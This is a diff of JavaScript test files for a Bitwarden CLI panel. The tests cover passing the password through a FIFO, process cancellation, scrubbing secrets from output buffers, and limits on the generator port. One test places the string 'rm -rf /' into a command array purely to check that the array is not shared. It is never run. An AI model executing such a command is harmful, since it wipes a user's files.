||||
Model.authPasswordWriteCommand("../elsewhere").length === 0,
|
||||
flat(Model.authPasswordWriteCommand("../elsewhere")))
|
||||
check("a normally completed child is disarmed before the EXIT cleanup trap runs",
|
||||
/wait "\$__auth_job"; __auth_rc=\$\?; __auth_job=''; exit "\$__auth_rc"/.test(flat(unlock)),
|
||||
flat(unlock))
|
||||
|
||||
// Exercise the real command pair against a fake bw. The fake announces that
|
||||
// it has started, then blocks while reading the FIFO. Only after observing
|
||||
// that announcement do we launch the writer. Leading and trailing spaces
|
||||
// prove the panel cannot normalize a real master password along the way.
|
||||
const temp = fs.mkdtempSync(path.join(os.tmpdir(), "qsbw-prewarm-"))
|
||||
const bin = path.join(temp, "bin")
|
||||
const runtime = path.join(temp, "runtime")
|
||||
fs.mkdirSync(bin)
|
||||
fs.mkdirSync(runtime, { mode: 0o700 })
|
||||
const started = path.join(temp, "started")
|
||||
const received = path.join(temp, "received")
|
||||
const output = path.join(temp, "output")
|
||||
const error = path.join(temp, "error")
|
||||
const token = "Zm9vYmFyYmF6cXV1eDEyMzQ1Njc4OTBhYmNkZWZnaGlqa2xtbm9wcXJzdHV2d3h5ejAxMjM0NTY3ODk9PQ=="
|
||||
|
||||
fs.writeFileSync(path.join(bin, "bw"), `#!/usr/bin/env bash
|
||||
set -u
|
||||
password_file=""
|
||||
while [ "$#" -gt 0 ]; do
|
||||
if [ "$1" = "--passwordfile" ]; then password_file="$2"; shift 2; else shift; fi
|
||||
done
|
||||
printf started > "$QSBW_STUB_STARTED"
|
||||
[ -n "$password_file" ] || exit 9
|
||||
IFS= read -r password < "$password_file" || true
|
||||
printf '%s' "$password" > "$QSBW_STUB_RECEIVED"
|
||||
printf '%s' "$QSBW_STUB_TOKEN"
|
||||
`)
|
||||
fs.chmodSync(path.join(bin, "bw"), 0o755)
|
||||
|
||||
try {
|
||||
execFileSync("bash", ["-c", `
|
||||
set -euo pipefail
|
||||
bash -c "$QSBW_PREWARM_SCRIPT" >"$QSBW_OUTPUT" 2>"$QSBW_ERROR" &
|
||||
auth_pid=$!
|
||||
started=false
|
||||
for unused in {1..200}; do
|
||||
if [ -s "$QSBW_STUB_STARTED" ]; then started=true; break; fi
|
||||
sleep 0.01
|
||||
done
|
||||
[ "$started" = true ]
|
||||
bash -c "$QSBW_WRITER_SCRIPT"
|
||||
wait "$auth_pid"
|
||||
`], {
|
||||
env: Object.assign({}, process.env, {
|
||||
PATH: `${bin}:${process.env.PATH}`,
|
||||
XDG_RUNTIME_DIR: runtime,
|
||||
BW_PASSWORD: distinctive,
|
||||
QSBW_PREWARM_SCRIPT: unlock[2],
|
||||
QSBW_WRITER_SCRIPT: writer[2],
|
||||
QSBW_STUB_STARTED: started,
|
||||
QSBW_STUB_RECEIVED: received,
|
||||
QSBW_STUB_TOKEN: token,
|
||||
QSBW_OUTPUT: output,
|
||||
QSBW_ERROR: error,
|
||||
}),
|
||||
stdio: ["ignore", "pipe", "pipe"],
|
||||
})
|
||||
check("bw starts before the writer supplies the password", fs.readFileSync(started, "utf8") === "started", "no start marker")
|
||||
check("the FIFO preserves the exact password bytes", fs.readFileSync(received, "utf8") === distinctive,
|
||||
JSON.stringify(fs.readFileSync(received, "utf8")))
|
||||
check("the prewarmed command still returns the session token", fs.readFileSync(output, "utf8") === token,
|
||||
fs.readFileSync(output, "utf8"))
|
||||
const fifo = path.join(runtime, "qs-bitwarden-cli", "unlock-password.fifo")
|
||||
check("the password FIFO is removed when auth finishes", !fs.existsSync(fifo), fifo)
|
||||
} catch (errorCaught) {
|
||||
failures.push(`the prewarm command pair completes successfully\n ${errorCaught.stderr || errorCaught.message}`)
|
||||
} finally {
|
||||
fs.rmSync(temp, { recursive: true, force: true })
|
||||
}
|
||||
|
||||
// QML stops a Process by sending SIGTERM to its immediate child. A shell
|
||||
// waiting for a foreground FIFO reader can defer that signal until the
|
||||
// reader exits, which would strand both after the panel closes. Exercise
|
||||
// cancellation separately and require the wrapper, its bw child and the
|
||||
// FIFO to disappear promptly.
|
||||
const cancelTemp = fs.mkdtempSync(path.join(os.tmpdir(), "qsbw-prewarm-cancel-"))
|
||||
const cancelBin = path.join(cancelTemp, "bin")
|
||||
const cancelRuntime = path.join(cancelTemp, "runtime")
|
||||
fs.mkdirSync(cancelBin)
|
||||
fs.mkdirSync(cancelRuntime, { mode: 0o700 })
|
||||
const childPid = path.join(cancelTemp, "child-pid")
|
||||
fs.writeFileSync(path.join(cancelBin, "bw"), `#!/usr/bin/env bash
|
||||
printf '%s' "$$" > "$QSBW_STUB_CHILD_PID"
|
||||
password_file=""
|
||||
while [ "$#" -gt 0 ]; do
|
||||
if [ "$1" = "--passwordfile" ]; then password_file="$2"; shift 2; else shift; fi
|
||||
done
|
||||
[ -n "$password_file" ] || exit 9
|
||||
IFS= read -r unused < "$password_file" || true
|
||||
`)
|
||||
fs.chmodSync(path.join(cancelBin, "bw"), 0o755)
|
||||
|
||||
try {
|
||||
const result = execFileSync("bash", ["-c", `
|
||||
set -u
|
||||
bash -c "$QSBW_PREWARM_SCRIPT" >"$QSBW_CANCEL_OUTPUT" 2>"$QSBW_CANCEL_ERROR" &
|
||||
auth_pid=$!
|
||||
for unused in {1..200}; do [ -s "$QSBW_STUB_CHILD_PID" ] && break; sleep 0.01; done
|
||||
[ -s "$QSBW_STUB_CHILD_PID" ] || exit 8
|
||||
bw_pid=$(cat "$QSBW_STUB_CHILD_PID")
|
||||
kill -TERM "$auth_pid"
|
||||
parent_stopped=no
|
||||
for unused in {1..200}; do
|
||||
if ! kill -0 "$auth_pid" 2>/dev/null; then parent_stopped=yes; break; fi
|
||||
sleep 0.01
|
||||
done
|
||||
if [ "$parent_stopped" = no ]; then kill -KILL "$auth_pid" 2>/dev/null || true; fi
|
||||
wait "$auth_pid" 2>/dev/null || true
|
||||
child_stopped=no
|
||||
for unused in {1..200}; do
|
||||
if ! kill -0 "$bw_pid" 2>/dev/null; then child_stopped=yes; break; fi
|
||||
sleep 0.01
|
||||
done
|
||||
if [ "$child_stopped" = no ]; then kill -KILL "$bw_pid" 2>/dev/null || true; fi
|
||||
fifo_gone=no
|
||||
[ ! -e "$XDG_RUNTIME_DIR/qs-bitwarden-cli/unlock-password.fifo" ] && fifo_gone=yes
|
||||
printf '%s %s %s' "$parent_stopped" "$child_stopped" "$fifo_gone"
|
||||
`], {
|
||||
env: Object.assign({}, process.env, {
|
||||
PATH: `${cancelBin}:${process.env.PATH}`,
|
||||
XDG_RUNTIME_DIR: cancelRuntime,
|
||||
QSBW_PREWARM_SCRIPT: unlock[2],
|
||||
QSBW_STUB_CHILD_PID: childPid,
|
||||
QSBW_CANCEL_OUTPUT: path.join(cancelTemp, "output"),
|
||||
QSBW_CANCEL_ERROR: path.join(cancelTemp, "error"),
|
||||
}),
|
||||
encoding: "utf8",
|
||||
stdio: ["ignore", "pipe", "pipe"],
|
||||
})
|
||||
check("cancelling prewarm stops the wrapper and bw child and removes the FIFO",
|
||||
result === "yes yes yes", result)
|
||||
} catch (errorCaught) {
|
||||
failures.push(`cancelling prewarm completes cleanly\n ${errorCaught.stderr || errorCaught.message}`)
|
||||
} finally {
|
||||
fs.rmSync(cancelTemp, { recursive: true, force: true })
|
||||
}
|
||||
}
|
||||
|
||||
// API-key login does not use a password FIFO, but it still runs through the
|
||||
// same cancellable Process. Stopping that Process must terminate the active bw
|
||||
// child rather than orphaning an authentication attempt behind the panel.
|
||||
if (Model.apiKeyLoginCommand) {
|
||||
const cancelTemp = fs.mkdtempSync(path.join(os.tmpdir(), "qsbw-apikey-cancel-"))
|
||||
const cancelBin = path.join(cancelTemp, "bin")
|
||||
fs.mkdirSync(cancelBin)
|
||||
const childPid = path.join(cancelTemp, "child-pid")
|
||||
fs.writeFileSync(path.join(cancelBin, "bw"), `#!/usr/bin/env bash
|
||||
printf '%s' "$$" > "$QSBW_STUB_CHILD_PID"
|
||||
sleep 30
|
||||
`)
|
||||
fs.chmodSync(path.join(cancelBin, "bw"), 0o755)
|
||||
|
||||
try {
|
||||
const result = execFileSync("bash", ["-c", `
|
||||
set -u
|
||||
bash -c "$QSBW_APIKEY_SCRIPT" >/dev/null 2>&1 &
|
||||
auth_pid=$!
|
||||
for unused in {1..200}; do [ -s "$QSBW_STUB_CHILD_PID" ] && break; sleep 0.01; done
|
||||
[ -s "$QSBW_STUB_CHILD_PID" ] || exit 8
|
||||
bw_pid=$(cat "$QSBW_STUB_CHILD_PID")
|
||||
kill -TERM "$auth_pid"
|
||||
parent_stopped=no
|
||||
for unused in {1..200}; do
|
||||
if ! kill -0 "$auth_pid" 2>/dev/null; then parent_stopped=yes; break; fi
|
||||
sleep 0.01
|
||||
done
|
||||
if [ "$parent_stopped" = no ]; then kill -KILL "$auth_pid" 2>/dev/null || true; fi
|
||||
wait "$auth_pid" 2>/dev/null || true
|
||||
child_stopped=no
|
||||
for unused in {1..200}; do
|
||||
if ! kill -0 "$bw_pid" 2>/dev/null; then child_stopped=yes; break; fi
|
||||
sleep 0.01
|
||||
done
|
||||
if [ "$child_stopped" = no ]; then kill -KILL "$bw_pid" 2>/dev/null || true; fi
|
||||
printf '%s %s' "$parent_stopped" "$child_stopped"
|
||||
`], {
|
||||
env: Object.assign({}, process.env, {
|
||||
PATH: `${cancelBin}:${process.env.PATH}`,
|
||||
QSBW_APIKEY_SCRIPT: Model.apiKeyLoginCommand("")[2],
|
||||
QSBW_STUB_CHILD_PID: childPid,
|
||||
}),
|
||||
encoding: "utf8",
|
||||
stdio: ["ignore", "pipe", "pipe"],
|
||||
})
|
||||
check("cancelling API-key login stops the wrapper and active bw child",
|
||||
result === "yes yes", result)
|
||||
} catch (errorCaught) {
|
||||
failures.push(`cancelling API-key login completes cleanly\n ${errorCaught.stderr || errorCaught.message}`)
|
||||
} finally {
|
||||
fs.rmSync(cancelTemp, { recursive: true, force: true })
|
||||
}
|
||||
}
|
||||
|
||||
// The QML lifecycle is part of the security boundary: start early, write only
|
||||
// on submit, and stop a waiting process when the panel closes.
|
||||
const panelSrc = fs.readFileSync(path.join(__dirname, "..", "Panel.qml"), "utf8")
|
||||
const bodyOf = name => {
|
||||
const start = panelSrc.indexOf(`function ${name}(`)
|
||||
if (start === -1) return ""
|
||||
let depth = 0
|
||||
for (let i = panelSrc.indexOf("{", start); i < panelSrc.length; i++) {
|
||||
if (panelSrc[i] === "{") depth++
|
||||
else if (panelSrc[i] === "}" && --depth === 0) return panelSrc.slice(start, i + 1)
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
check("opening an already-locked panel starts unlock prewarming",
|
||||
/prepareUnlock\(\)/.test(bodyOf("onPanelOpened")), bodyOf("onPanelOpened"))
|
||||
check("submitting unlock writes to the prepared FIFO",
|
||||
/writeAuthPassword\("unlock",\s*p\)/.test(bodyOf("unlockVaultWithPassword")), bodyOf("unlockVaultWithPassword"))
|
||||
check("closing the panel cancels auth prewarming",
|
||||
/cancelAuthPrewarm/.test(bodyOf("close")), bodyOf("close"))
|
||||
check("an unreadable status result cancels a prewarm that can no longer be used",
|
||||
/if\s*\(!st\)\s*\{\s*cancelAuthPrewarm\(\)/.test(bodyOf("onStatusFinished")),
|
||||
bodyOf("onStatusFinished"))
|
||||
check("an externally unlocked status cancels the obsolete locked-state prewarm",
|
||||
/if\s*\(st\.unlocked\)\s*\{\s*cancelAuthPrewarm\(\)/.test(bodyOf("onStatusFinished")),
|
||||
bodyOf("onStatusFinished"))
|
||||
check("master-password validation preserves whitespace",
|
||||
/var p\s*=\s*String\(/.test(bodyOf("unlockVaultWithPassword"))
|
||||
&& !/var p\s*=\s*String\([^\n]+\.trim\(\)/.test(bodyOf("unlockVaultWithPassword")),
|
||||
bodyOf("unlockVaultWithPassword"))
|
||||
check("focusing the email-login password field prepares login",
|
||||
/id:\s*loginPassField[\s\S]{0,700}onActiveFocusChanged:[\s\S]{0,160}prepareEmailLogin/.test(panelSrc),
|
||||
"loginPassField has no prewarm focus handler")
|
||||
const prepareEmail = bodyOf("prepareEmailLogin")
|
||||
check("a custom server is not configured by focus-only prewarming",
|
||||
/var serverUrl\s*=\s*resolvedLoginServerUrl\(\)/.test(prepareEmail)
|
||||
&& /if\s*\(serverUrl\)\s*return/.test(prepareEmail)
|
||||
&& prepareEmail.indexOf("resolvedLoginServerUrl") < prepareEmail.indexOf("loginProc.command"),
|
||||
prepareEmail)
|
||||
check("submitting while an obsolete login prewarm stops queues a clean restart",
|
||||
/loginSubmitAfterPrewarmStop\s*=\s*true/.test(bodyOf("submitLogin"))
|
||||
&& /loginProc\.running\s*=\s*false/.test(bodyOf("submitLogin")),
|
||||
bodyOf("submitLogin"))
|
||||
const loginProcBlock = panelSrc.slice(panelSrc.indexOf("id: loginProc"), panelSrc.indexOf("id: authPasswordWriterProc"))
|
||||
// The dispatch lives in resumeDeferredLogin() so both ways the process can end
|
||||
// -- its own exit, and the buffer scrub that may follow it -- go through it.
|
||||
// A scrub that returned early used to drop the queued login silently.
|
||||
const resumeDeferredBlock = bodyOf("resumeDeferredLogin")
|
||||
check("the obsolete prewarm exit starts the queued login instead of consuming its result",
|
||||
/loginSubmitAfterPrewarmStop[\s\S]*submitLogin/.test(resumeDeferredBlock)
|
||||
&& /resumeDeferredLogin\(true\)/.test(loginProcBlock),
|
||||
resumeDeferredBlock)
|
||||
check("a queued login survives the buffer scrub taking the process first",
|
||||
/finishScrubRun\(loginProc\)\)\s*\{[\s\S]{0,140}resumeDeferredLogin\(false\)/.test(loginProcBlock),
|
||||
loginProcBlock)
|
||||
check("focusing during prewarm shutdown queues another prewarm",
|
||||
/loginPrepareAfterPrewarmStop\s*=\s*true/.test(bodyOf("prepareEmailLogin")),
|
||||
bodyOf("prepareEmailLogin"))
|
||||
check("the stopped process services a queued prewarm when no submit is waiting",
|
||||
/loginPrepareAfterPrewarmStop[\s\S]*prepareEmailLogin/.test(resumeDeferredBlock),
|
||||
resumeDeferredBlock)
|
||||
check("a cancelled login with no queued restart scrubs any token that won the exit race",
|
||||
/else if \(mayScrub\) \{\s*\n\s*clearProcessCollectorSoon\(loginProc\)/.test(resumeDeferredBlock),
|
||||
resumeDeferredBlock)
|
||||
// The scrub is the fallback, so a queued restart must be preferred to it --
|
||||
// otherwise the restart is what gets dropped.
|
||||
check("a queued restart is dispatched in preference to the scrub",
|
||||
resumeDeferredBlock.indexOf("loginSubmitAfterPrewarmStop")
|
||||
< resumeDeferredBlock.indexOf("clearProcessCollectorSoon"),
|
||||
resumeDeferredBlock)
|
||||
const unlockProcBlock = panelSrc.slice(panelSrc.indexOf("id: unlockProc"), panelSrc.indexOf("id: logoutProc"))
|
||||
check("a cancelled unlock scrubs any token that won the exit race",
|
||||
/!root\.unlockSubmitted[\s\S]{0,120}clearProcessCollectorSoon\(unlockProc\)/.test(unlockProcBlock),
|
||||
unlockProcBlock)
|
||||
|
||||
console.log(`${pass} passed, ${failures.length} failed`)
|
||||
if (failures.length) {
|
||||
console.error("\nFAILURES:\n " + failures.join("\n "))
|
||||
process.exit(1)
|
||||
}
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,303 @@
|
||||
#!/usr/bin/env node
|
||||
// Two things a lock and a logout were leaving behind.
|
||||
//
|
||||
// node tests/buffer-scrub.test.js
|
||||
//
|
||||
// 1. A StdioCollector keeps whatever its process last printed until that
|
||||
// process runs again, so every secret that has come back through a pipe
|
||||
// outlives the lock that was supposed to end it. Emptying one means
|
||||
// running a command through it that prints nothing, which is what these
|
||||
// assertions describe: what that command is, how a handler recognises a
|
||||
// run of it, and which processes a pass over the queue touches.
|
||||
// 2. The generator port is loopback and first-come, and QML's
|
||||
// XMLHttpRequest has no timeout of its own. What bounds a request to a
|
||||
// squatter is checked here; its cancellation and restart lifecycle is
|
||||
// checked in tests/generator.test.js.
|
||||
|
||||
const fs = require("fs")
|
||||
const path = require("path")
|
||||
|
||||
const panelSource = fs.readFileSync(path.join(__dirname, "..", "Panel.qml"), "utf8")
|
||||
const panelBodyOf = (name) => {
|
||||
const start = panelSource.indexOf(`function ${name}(`)
|
||||
if (start === -1) return ""
|
||||
let depth = 0
|
||||
for (let i = panelSource.indexOf("{", start); i < panelSource.length; i++) {
|
||||
if (panelSource[i] === "{") depth++
|
||||
else if (panelSource[i] === "}" && --depth === 0) return panelSource.slice(start, i + 1)
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
const Model = {}
|
||||
new Function("exports", fs.readFileSync(path.join(__dirname, "..", "BitwardenModel.js"), "utf8")
|
||||
.replace(/^\.pragma library\s*$/m, "") + `
|
||||
exports.scrubCommand = scrubCommand
|
||||
exports.isScrubCommand = isScrubCommand
|
||||
exports.scrubPass = scrubPass
|
||||
exports.finishScrub = finishScrub
|
||||
exports.scrubRetryMs = scrubRetryMs
|
||||
exports.generatorResponseCap = generatorResponseCap
|
||||
exports.generatorRequestTimeoutMs = generatorRequestTimeoutMs
|
||||
exports.generateServeRequestCommand = generateServeRequestCommand
|
||||
exports.generatorResponseTooLarge = generatorResponseTooLarge
|
||||
exports.generatorPortIsForeign = generatorPortIsForeign
|
||||
exports.generatorProbeIsForeign = generatorProbeIsForeign
|
||||
`)(Model)
|
||||
|
||||
let pass = 0
|
||||
const failures = []
|
||||
const check = (l, ok, d) => ok ? pass++ : failures.push(`${l}\n ${d}`)
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// The scrub command
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
const scrub = Model.scrubCommand()
|
||||
|
||||
check("the scrub command prints nothing",
|
||||
scrub.length === 3 && scrub[0] === "bash" && scrub[1] === "-c" && scrub[2] === "",
|
||||
`got ${JSON.stringify(scrub)}`)
|
||||
|
||||
check("a fresh array each time, so one process cannot alias another's",
|
||||
Model.scrubCommand() !== Model.scrubCommand(),
|
||||
"scrubCommand() returned the same array twice")
|
||||
|
||||
check("mutating what a caller was given does not change the next one",
|
||||
(() => { const c = Model.scrubCommand(); c[2] = "rm -rf /"; return Model.scrubCommand()[2] === "" })(),
|
||||
"the shared array leaked")
|
||||
|
||||
check("the scrub command is recognised as one",
|
||||
Model.isScrubCommand(Model.scrubCommand()) === true, "not recognised")
|
||||
|
||||
check("a real bw command is not",
|
||||
Model.isScrubCommand(["bw", "list", "items"]) === false, "bw list read as a scrub")
|
||||
|
||||
check("nor is a command that merely starts the same way",
|
||||
Model.isScrubCommand(["bash", "-c", "bw list items"]) === false, "a bash command read as a scrub")
|
||||
|
||||
check("nor a shorter one",
|
||||
Model.isScrubCommand(["bash", "-c"]) === false, "a truncated command read as a scrub")
|
||||
|
||||
check("nor a longer one",
|
||||
Model.isScrubCommand(["bash", "-c", "", "extra"]) === false, "a padded command read as a scrub")
|
||||
|
||||
// A Process that has never run reports an empty command, and one that is
|
||||
// missing entirely is what a typo in the process list looks like. Neither is a
|
||||
// scrub, and neither may throw: this runs inside a signal handler.
|
||||
check("an empty command is not a scrub", Model.isScrubCommand([]) === false, "empty read as a scrub")
|
||||
check("an absent command is not a scrub", Model.isScrubCommand(null) === false, "null read as a scrub")
|
||||
check("an undefined command is not a scrub",
|
||||
Model.isScrubCommand(undefined) === false, "undefined read as a scrub")
|
||||
|
||||
// QML hands JS a QStringList, whose members arrive as strings but whose
|
||||
// identity is not a plain Array.
|
||||
check("a list-like command is read the same as an array",
|
||||
Model.isScrubCommand({ length: 3, 0: "bash", 1: "-c", 2: "" }) === true,
|
||||
"a QStringList-shaped command was not recognised")
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// One pass over the queue
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
const idle = (cmd) => ({ running: false, command: cmd })
|
||||
const busy = (cmd) => ({ running: true, command: cmd })
|
||||
|
||||
{
|
||||
const p = Model.scrubPass([idle(["bw", "list", "items"])])
|
||||
check("an idle process with a real command is scrubbed now",
|
||||
p.start.length === 1, `start=${p.start.length}`)
|
||||
check("and is asked about again, to confirm the scrub finished",
|
||||
p.waiting.length === 1, `waiting=${p.waiting.length}`)
|
||||
}
|
||||
|
||||
{
|
||||
const p = Model.scrubPass([busy(["bw", "list", "items"])])
|
||||
check("a process still reading is not scrubbed out from under itself",
|
||||
p.start.length === 0, `start=${p.start.length}`)
|
||||
check("but stays in the queue for the next pass",
|
||||
p.waiting.length === 1, `waiting=${p.waiting.length}`)
|
||||
}
|
||||
|
||||
{
|
||||
const p = Model.scrubPass([idle(Model.scrubCommand())])
|
||||
check("a process already scrubbed is left alone",
|
||||
p.start.length === 0, `start=${p.start.length}`)
|
||||
check("and drops out of the queue",
|
||||
p.waiting.length === 0, `waiting=${p.waiting.length}`)
|
||||
}
|
||||
|
||||
{
|
||||
// The scrub itself is still running on the pass right after it was started.
|
||||
const p = Model.scrubPass([busy(Model.scrubCommand())])
|
||||
check("a scrub in flight is waited on rather than started again",
|
||||
p.start.length === 0 && p.waiting.length === 1,
|
||||
`start=${p.start.length} waiting=${p.waiting.length}`)
|
||||
}
|
||||
|
||||
{
|
||||
const running = busy(["bw", "get", "item", "x"])
|
||||
const p = Model.scrubPass([idle(["bw", "list", "items"]), running, idle(Model.scrubCommand())])
|
||||
check("a mixed queue starts only what it can",
|
||||
p.start.length === 1, `start=${p.start.length}`)
|
||||
check("and carries the rest that is not finished",
|
||||
p.waiting.length === 2 && p.waiting.indexOf(running) !== -1,
|
||||
`waiting=${p.waiting.length}`)
|
||||
}
|
||||
|
||||
check("an empty queue is a no-op",
|
||||
Model.scrubPass([]).start.length === 0 && Model.scrubPass([]).waiting.length === 0,
|
||||
"empty queue did something")
|
||||
|
||||
check("and so is a missing one",
|
||||
Model.scrubPass(null).waiting.length === 0, "null queue threw or produced work")
|
||||
|
||||
check("a hole in the process list is skipped rather than thrown on",
|
||||
Model.scrubPass([null, idle(["bw", "sync"])]).start.length === 1,
|
||||
"a null entry stopped the pass")
|
||||
|
||||
// The retry exists for processes that were mid-read. It must keep the process
|
||||
// queued until the empty scrub run finishes, even if a completion handler
|
||||
// immediately reuses that same Process for another command.
|
||||
check("the retry is spaced in seconds, not milliseconds",
|
||||
Model.scrubRetryMs() >= 250, `retry every ${Model.scrubRetryMs()}ms`)
|
||||
check("the retry never abandons a collector that is still being written",
|
||||
/if\s*\(!root\.scrubPending\.length\)\s*stop\(\)/.test(panelSource)
|
||||
&& !/scrubRetryLimit/.test(panelSource),
|
||||
"the scrub timer can stop with a process still in its queue")
|
||||
|
||||
{
|
||||
const late = busy(["bw", "unlock"])
|
||||
let p = Model.scrubPass([late])
|
||||
late.running = false
|
||||
p = Model.scrubPass(p.waiting)
|
||||
late.command = Model.scrubCommand()
|
||||
late.running = false
|
||||
const queue = Model.finishScrub(p.waiting, late)
|
||||
|
||||
// unlockProc does this from its scrub completion handler: the collector is
|
||||
// clean, then prewarming immediately reuses the Process. Queue completion
|
||||
// must not depend on observing its command afterward.
|
||||
late.command = ["bw", "unlock", "--passwordfile", "fifo"]
|
||||
late.running = true
|
||||
check("a completed scrub drains before its Process is immediately reused",
|
||||
p.start.length === 1 && queue.length === 0,
|
||||
`started=${p.start.length} remaining=${queue.length}`)
|
||||
}
|
||||
|
||||
check("Panel completion handlers dequeue scrubbed processes explicitly",
|
||||
/function\s+finishScrubRun\s*\(proc\)/.test(panelSource)
|
||||
&& /scrubPending\s*=\s*Model\.finishScrub\(scrubPending,\s*proc\)/.test(panelSource),
|
||||
"Panel does not record scrub completion independently of Process reuse")
|
||||
|
||||
check("a one-shot password copy scrubs its collector immediately after use",
|
||||
/clearProcessCollectorSoon\(copyPasswordProc\)/.test(panelBodyOf("onPasswordCopyFinished")),
|
||||
panelBodyOf("onPasswordCopyFinished"))
|
||||
check("a TOTP read also scrubs its collector after copying the value into active state",
|
||||
/continueTotpQueue\(false\)/.test(panelBodyOf("onTotpProcessExited"))
|
||||
&& /!collectorIsClean[\s\S]*clearProcessCollectorSoon\(getTotpProc\)/.test(
|
||||
panelBodyOf("continueTotpQueue")),
|
||||
panelBodyOf("onTotpProcessExited") + "\n" + panelBodyOf("continueTotpQueue"))
|
||||
const totpProcBlock = panelSource.slice(panelSource.indexOf("id: getTotpProc"),
|
||||
panelSource.indexOf("id: copyPasswordProc"))
|
||||
const totpScrubCheck = totpProcBlock.indexOf("finishScrubRun(getTotpProc)")
|
||||
const totpScrubResume = totpProcBlock.indexOf("continueTotpQueue(true)")
|
||||
const totpScrubReturn = totpProcBlock.indexOf("return", totpScrubResume)
|
||||
const totpNormalExit = totpProcBlock.indexOf("onTotpProcessExited")
|
||||
check("a TOTP scrub exits without recursively scheduling another scrub",
|
||||
totpScrubCheck !== -1 && totpScrubCheck < totpScrubResume
|
||||
&& totpScrubResume < totpScrubReturn && totpScrubReturn < totpNormalExit,
|
||||
totpProcBlock)
|
||||
check("a queued real TOTP request replaces the collector instead of racing an empty scrub",
|
||||
/if\s*\(queued\)[\s\S]*startTotpFetch\(queued\)[\s\S]*!collectorIsClean[\s\S]*clearProcessCollectorSoon\(getTotpProc\)/.test(
|
||||
panelBodyOf("continueTotpQueue")),
|
||||
panelBodyOf("continueTotpQueue"))
|
||||
check("a request queued during a TOTP scrub is resumed after that scrub exits",
|
||||
/getTotpProc\.running[\s\S]*totpQueuedItemId\s*=/.test(panelBodyOf("fetchTotp"))
|
||||
&& /finishScrubRun\(getTotpProc\)[\s\S]*continueTotpQueue\(true\)/.test(totpProcBlock),
|
||||
panelBodyOf("fetchTotp") + "\n" + totpProcBlock)
|
||||
check("the deferred TOTP restart reserves the Process against a newer direct start",
|
||||
/getTotpProc\.running\s*\|\|\s*totpRestartPending/.test(panelBodyOf("fetchTotp"))
|
||||
&& /totpRestartPending\s*=\s*true[\s\S]*totpRequestItemId\s*=\s*queued[\s\S]*Qt\.callLater/.test(
|
||||
panelBodyOf("continueTotpQueue"))
|
||||
&& /totpRestartPending\s*=\s*false/.test(panelBodyOf("dropVaultSecrets")),
|
||||
panelBodyOf("fetchTotp") + "\n" + panelBodyOf("continueTotpQueue"))
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Generator request bounds
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
const cap = Model.generatorResponseCap()
|
||||
|
||||
check("the response cap is far above a generated password",
|
||||
cap >= 4096, `cap is ${cap} bytes`)
|
||||
check("and far below anything that would hurt to hold",
|
||||
cap <= 1024 * 1024, `cap is ${cap} bytes`)
|
||||
check("the request deadline is short enough to be a loopback deadline",
|
||||
Model.generatorRequestTimeoutMs() > 0 && Model.generatorRequestTimeoutMs() <= 10000,
|
||||
`deadline is ${Model.generatorRequestTimeoutMs()}ms`)
|
||||
|
||||
check("a real answer is under the cap",
|
||||
Model.generatorResponseTooLarge("67", 67) === false, "a 67-byte answer was refused")
|
||||
|
||||
check("a declared length past the cap is refused before the body arrives",
|
||||
Model.generatorResponseTooLarge(String(cap + 1), 0) === true,
|
||||
"an oversized Content-Length was accepted")
|
||||
|
||||
check("a body past the cap is refused however much was declared",
|
||||
Model.generatorResponseTooLarge("10", cap + 1) === true,
|
||||
"an oversized body was accepted")
|
||||
|
||||
check("a chunked response declares nothing and is judged on what arrives",
|
||||
Model.generatorResponseTooLarge("", 12) === false && Model.generatorResponseTooLarge("", cap + 1) === true,
|
||||
"the chunked case was misjudged")
|
||||
|
||||
check("an absent Content-Length is not read as an enormous one",
|
||||
Model.generatorResponseTooLarge(null, 12) === false, "a missing header refused a small body")
|
||||
|
||||
check("nor is a garbage one",
|
||||
Model.generatorResponseTooLarge("not-a-number", 12) === false, "an unparseable header refused a small body")
|
||||
|
||||
// The port check, once a request can be cut short. status 0 is both "nothing
|
||||
// answered" and "we hung up", and only the first of those leaves the port free.
|
||||
check("a refused connection leaves the port free",
|
||||
Model.generatorProbeIsForeign(0, false) === false, "a refused connection read as occupied")
|
||||
|
||||
check("any HTTP answer means someone is already bound",
|
||||
Model.generatorProbeIsForeign(200, false) === true && Model.generatorProbeIsForeign(404, false) === true,
|
||||
"an HTTP answer read as a free port")
|
||||
|
||||
check("a request we had to cut short means someone is already bound",
|
||||
Model.generatorProbeIsForeign(0, true) === true,
|
||||
"an aborted probe read as a free port -- a stalling squatter would get our trust")
|
||||
|
||||
check("even one that answered before stalling",
|
||||
Model.generatorProbeIsForeign(200, true) === true, "an aborted probe read as free")
|
||||
|
||||
// Process-based probe checks (curl exit codes)
|
||||
check("curl CURLE_COULDNT_CONNECT (exit 7) with empty stdout indicates a free port",
|
||||
Model.generatorProbeIsForeign(7, "") === false, "curl exit 7 was read as occupied")
|
||||
|
||||
check("curl exit 0 with HTTP response indicates an occupied port",
|
||||
Model.generatorProbeIsForeign(0, '{"success":true}') === true, "curl exit 0 was read as free")
|
||||
|
||||
check("curl timeout (exit 28) indicates an occupied (stalling) port",
|
||||
Model.generatorProbeIsForeign(28, "") === true, "curl timeout was read as free")
|
||||
|
||||
check("curl write error / truncation (exit 23) indicates an occupied (flooding) port",
|
||||
Model.generatorProbeIsForeign(23, "") === true, "curl exit 23 was read as free")
|
||||
|
||||
// Producer-side bounding of generateServeRequestCommand
|
||||
const serveReqCmd = Model.generateServeRequestCommand({ length: 16 })
|
||||
check("generateServeRequestCommand uses curl with timeout and head -c byte cap",
|
||||
serveReqCmd[2].includes("curl -q -s -S") && serveReqCmd[2].includes("--max-time 2") && serveReqCmd[2].includes(`head -c ${cap}`),
|
||||
serveReqCmd[2])
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
if (failures.length) {
|
||||
console.error(`\n${failures.length} failure(s):\n`)
|
||||
failures.forEach((f) => console.error(` ✗ ${f}\n`))
|
||||
process.exit(1)
|
||||
}
|
||||
console.log(`buffer-scrub: ${pass} checks passed`)
|
||||
@@ -0,0 +1,87 @@
|
||||
#!/usr/bin/env node
|
||||
